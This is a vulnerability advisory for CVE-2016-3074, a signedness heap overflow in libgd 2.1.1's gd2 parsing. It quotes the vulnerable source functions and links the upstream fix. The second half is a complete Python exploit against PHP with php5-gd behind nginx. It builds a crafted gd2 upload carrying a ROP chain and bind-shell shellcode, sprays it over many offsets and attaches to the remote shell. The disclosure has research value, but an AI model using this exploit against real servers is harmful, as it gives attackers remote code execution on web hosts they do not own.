Overview ======== libgd [1] is an open-source image library. It is perhaps primarily used by the PHP project. It has been bundled with the default installation of PHP since version 4.3 [2]. A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which may result in a heap overflow when processing compressed gd2 data. Details ======= 4 bytes representing the chunk index size is stored in a signed integer, chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers: libgd-2.1.1/src/gd_gd2.c: ,---- | 53 typedef struct { | 54 int offset; | 55 int size; | 56 } | 57 t_chunk_info; `---- libgd-2.1.1/src/gd_gd2.c: ,---- | 65 static int | 66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy, | 67 int *cs, int *vers, int *fmt, int *ncx, int *ncy, | 68 t_chunk_info ** chunkIdx) | 69 { | ... | 73 t_chunk_info *cidx; | ... | 155 if (gd2_compressed (*fmt)) { | ... | 163 for (i = 0; i < nc; i++) { | ... | 167 if (gdGetInt (&cidx[i].size, in) != 1) { | 168 goto fail2; | 169 }; | 170 }; | 171 *chunkIdx = cidx; | 172 }; | ... | 181 } `---- `gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then allocates memory for the compressed data based on the value of the largest chunk size: libgd-2.1.1/src/gd_gd2.c: ,---- | 371|637 if (gd2_compressed (fmt)) { | 372|638 /* Find the maximum compressed chunk size. */ | 373|639 compMax = 0; | 374|640 for (i = 0; (i < nc); i++) { | 375|641 if (chunkIdx[i].size > compMax) { | 376|642 compMax = chunkIdx[i].size; | 377|643 }; | 378|644 }; | 379|645 compMax++; | ...|... | 387|656 compBuf = gdCalloc (compMax, 1); | ...|... | 393|661 }; `---- A size of <= 0 results in `compMax' retaining its initial value during the loop, followed by it being incremented to 1. Since `compMax' is used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation for `compBuf'. This is followed by compressed data being read to `compBuf' based on the current (potentially negative) chunk size: libgd-2.1.1/src/gd_gd2.c: ,---- | 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in) | 340 { | ... | 413 if (gd2_compressed (fmt)) { | 414 | 415 chunkLen = chunkMax; | 416 | 417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset, | 418 compBuf, | 419 chunkIdx[chunkNum].size, | 420 (char *) chunkBuf, &chunkLen, in)) { | 421 GD2_DBG (printf ("Error reading comproessed chunk\n")); | 422 goto fail; | 423 }; | 424 | 425 chunkPos = 0; | 426 }; | ... | 501 } `---- libgd-2.1.1/src/gd_gd2.c: ,---- | 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h) | 586 { | ... | 713 if (!gd2_compressed (fmt)) { | ... | 731 } else { | 732 chunkNum = cx + cy * ncx; | 733 | 734 chunkLen = chunkMax; | 735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset, | 736 compBuf, | 737 chunkIdx[chunkNum].size, | 738 (char *) chunkBuf, &chunkLen, in)) { | 739 printf ("Error reading comproessed chunk\n"); | 740 goto fail2; | 741 }; | ... | 746 }; | ... | 815 } `---- The size is subsequently interpreted as a size_t by `fread()' or `memcpy()', depending on how the image is read: libgd-2.1.1/src/gd_gd2.c: ,---- | 221 static int | 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf, | 223 uLongf * chunkLen, gdIOCtx * in) | 224 { | ... | 236 if (gdGetBuf (compBuf, compSize, in) != compSize) { | 237 return FALSE; | 238 }; | ... | 251 } `---- libgd-2.1.1/src/gd_io.c: ,---- | 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx) | 212 { | 213 return (ctx->getBuf)(ctx, buf, size); | 214 } `---- For file contexts: libgd-2.1.1/src/gd_io_file.c: ,---- | 52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f) | 53 { | ... | 67 ctx->ctx.getBuf = fileGetbuf; | ... | 76 } | ... | 92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size) | 93 { | 94 fileIOCtx *fctx; | 95 fctx = (fileIOCtx *)ctx; | 96 | 97 return (fread(buf, 1, size, fctx->f)); | 98 } `---- And for dynamic contexts: libgd-2.1.1/src/gd_io_dp.c: ,---- | 74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag) | 75 { | ... | 95 ctx->ctx.getBuf = dynamicGetbuf; | ... | 104 } | ... | 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len) | 257 { | ... | 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen); | ... | 284 } `---- PoC === Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]: ,---- | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php | [*] this may take a while | [*] offset 912 of 10000... | [+] connected to 1.2.3.4:5555 | id | uid=33(www-data) gid=33(www-data) groups=33(www-data) | | uname -a | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC | 2016 x86_64 x86_64 x86_64 GNU/Linux | | dpkg -l|grep -E "php5-(fpm|gd)" | ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ... | ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ... | | cat upload.php | <?php | imagecreatefromgd2($_FILES["file"]["tmp_name"]); | ?> `---- Solution ======== This bug has been fixed in git HEAD [4]. Footnotes _________ [1] [http://libgd.org/] [2] [https://en.wikipedia.org/wiki/Libgd] [3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074] [4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19] -- Hans Jerry Illikainen Proof of concept: #!/usr/bin/env python2 # # PoC for CVE-2016-3074 targeting Ubuntu 15.10 x86-64 with php5-gd and # php5-fpm running behind nginx. # # ,---- # | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php # | [*] this may take a while # | [*] offset 912 of 10000... # | [+] connected to 1.2.3.4:5555 # | id # | uid=33(www-data) gid=33(www-data) groups=33(www-data) # | # | uname -a # | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC # | 2016 x86_64 x86_64 x86_64 GNU/Linux # | # | dpkg -l|grep -E "php5-(fpm|gd)" # | ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ... # | ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ... # | # | cat upload.php # | <?php # | imagecreatefromgd2($_FILES["file"]["tmp_name"]); # | ?> # `---- # # - Hans Jerry Illikainen # import sys import os import zlib import socket import threading import argparse import urlparse from struct import pack import requests # non-optimized bindshell from binjitsu # # context(arch="amd64", os="linux") # asm(shellcraft.bindsh(port, "ipv4")) shellcode = [ "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x52\xba", "%(fam-and-port)s\x52\x6a\x10\x5a\x48\x89\xc5\x48\x89\xc7", "\x6a\x31\x58\x48\x89\xe6\x0f\x05\x6a\x32\x58\x48\x89\xef", "\x6a\x01\x5e\x0f\x05\x6a\x2b\x58\x48\x89\xef\x31\xf6\x99", "\x0f\x05\x48\x89\xc5\x6a\x03\x5e\x48\xff\xce\x78\x0b\x56", "\x6a\x21\x58\x48\x89\xef\x0f\x05\xeb\xef\x6a\x68\x48\xb8", "\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x6a\x3b\x58\x48\x89", "\xe7\x31\xf6\x99\x0f\x05" ] gadgets = [ "\x90" * 40, # [16] # # 0xb6eca2: popfq # 0xb6eca3: callq *%rsp pack("<Q", 0xb6eca2), "%(pad)s", # [2] # # 0x4dbe8c: add $0xd8,%rsp # 0x4dbe93: retq pack("<Q", 0x4dbe8c), "\x90" * 48, # [1] # # (gdb) x/x {void *}($rsp + 8) # 0x12d7d60: 0x9090909090909090 # # 0xa91f35: rex.WXB pop %r14 # 0xa91f37: mov $0x3,%bh # 0xa91f39: pop %rsp # 0xa91f3a: retq pack("<Q", 0xa91f35), "\x90" * 152, # [0] # # (gdb) x/i $rip # => 0x7f91acf61f46: callq *0x70(%rax) # # (gdb) x/gx 0x432b80 # 0x432b80: 0x0000000000547880 # # (gdb) x/3i 0x0000000000547880 # 0x547880: push %rbx # 0x547881: mov %rdi,%rbx # 0x547884: callq *0x20(%rdi) pack("<Q", 0x432b80 - 0x70), # [3] # # 0x463e2c: pop %rbx # 0x463e2d: retq pack("<Q", 0x463e2c), # [7] # # 0x463b1d: pop %r12 # 0x463b1f: retq pack("<Q", 0x463b1d), # [4] # # 0x473053: pop %rax # 0x473054: retq pack("<Q", 0x473053), # [6] # # 0xa8bc37: push %rdx # 0xa8bc38: jmpq *%rbx pack("<Q", 0xa8bc37), # [5] # # 0x7b2eaf: mov %r9,%rdx # 0x7b2eb2: jmpq *%rax pack("<Q", 0x7b2eaf), # [8] # # 0x552768: mov %rdi,%rax # 0x55276b: retq pack("<Q", 0x552768), # [9] # # 0x463e2c: pop %rbx # 0x463e2d: retq pack("<Q", 0x463e2c), pack("<Q", 0xfffff000), # [10] # # 0xb6c734: and %ebx,%eax # 0xb6c736: es retq pack("<Q", 0xb6c734), # [11] # # 0x4c93e9: xchg %eax,%ebx # 0x4c93ea: retq pack("<Q", 0x4c93e9), # [12] # # 0x406a08: pop %rcx (len, 0x5555) # 0x406a09: retq pack("<Q", 0x406a08), pack("<Q", 0x5555), # [13] # # 0xaf58fd: pop %rdx (PROT_READ|PROT_WRITE|PROT_EXEC) # 0xaf58fe: retq pack("<Q", 0xaf58fd), pack("<Q", 7), # [14] # # 0x473053: pop %rax (mprotect) # 0x473054: retq pack("<Q", 0x473053), pack("<Q", 125), # [15] # # 0x53f9f8: int $0x80 # 0x53f9fa: mov 0x38(%r12),%rsi # 0x53f9ff: mov $0x8f,%edi # 0x53fa04: callq *0x28(%r12) pack("<Q", 0x53f9f8), "\x90" * 100, ] # gd.h: #define gdMaxColors 256 gd_max_colors = 256 def make_gd2(chunks): gd2 = [ "gd2\x00", # signature pack(">H", 2), # version pack(">H", 1), # image size (x) pack(">H", 1), # image size (y) pack(">H", 0x40), # chunk size (0x40 <= cs <= 0x80) pack(">H", 2), # format (GD2_FMT_COMPRESSED) pack(">H", 1), # num of chunks wide pack(">H", len(chunks)) # num of chunks high ] colors = [ pack(">B", 0), # trueColorFlag pack(">H", 0), # im->colorsTotal pack(">I", 0), # im->transparent pack(">I", 0) * gd_max_colors # red[i], green[i], blue[i], alpha[i] ] offset = len("".join(gd2)) + len("".join(colors)) + len(chunks) * 8 for data, size in chunks: gd2.append(pack(">I", offset)) # cidx[i].offset gd2.append(pack(">I", size)) # cidx[i].size offset += size return "".join(gd2 + colors + [data for data, size in chunks]) def connect(host, port): addr = socket.gethostbyname(host) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((addr, port)) except socket.error: return print("\n[+] connected to %s:%d" % (host, port)) if os.fork() == 0: while True: try: data = sock.recv(8192) except KeyboardInterrupt: sys.exit("\n[!] receiver aborting") if data == "": sys.exit("[!] receiver aborting") sys.stdout.write(data) else: while True: try: cmd = sys.stdin.readline() except KeyboardInterrupt: sock.close() sys.exit("[!] sender aborting") sock.send(cmd) def send_gd2(url, gd2, code): files = {"file": gd2} try: req = requests.post(url, files=files, timeout=5) code.append(req.status_code) except requests.exceptions.ReadTimeout: pass def get_payload(offset, port): rop = "".join(gadgets) % {"pad": "\x90" * offset} fam_and_port = pack("<I", (socket.AF_INET | (socket.htons(port) << 16))) sc = "".join(shellcode) % {"fam-and-port": fam_and_port} return rop + sc def get_args(): p = argparse.ArgumentParser() p.add_argument("--threads", type=int, default=20) p.add_argument("--bind-port", type=int, default=8000) p.add_argument("--offsets", type=int, default=[0, 10000], nargs=2) p.add_argument("url") return p.parse_args() def main(): args = get_args() host = urlparse.urlparse(args.url).netloc.split(":")[0] print("[*] this may take a while") for i in range(args.offsets[0], args.offsets[1]): sys.stdout.write("\r[*] offset %d of %d..." % (i, args.offsets[1])) sys.stdout.flush() valid = zlib.compress("A" * 100, 0) payload = get_payload(i, args.bind_port) gd2 = make_gd2([(valid, len(valid)), (payload, 0xffffffff)]) threads = [] code = [] for _ in range(args.threads): t = threading.Thread(target=send_gd2, args=(args.url, gd2, code)) t.start() threads.append(t) for t in threads: t.join() if 404 in code: sys.exit("\n[-] 404: %s" % args.url) connect(host, args.bind_port) print("\n[-] nope...") if __name__ == "__main__": main()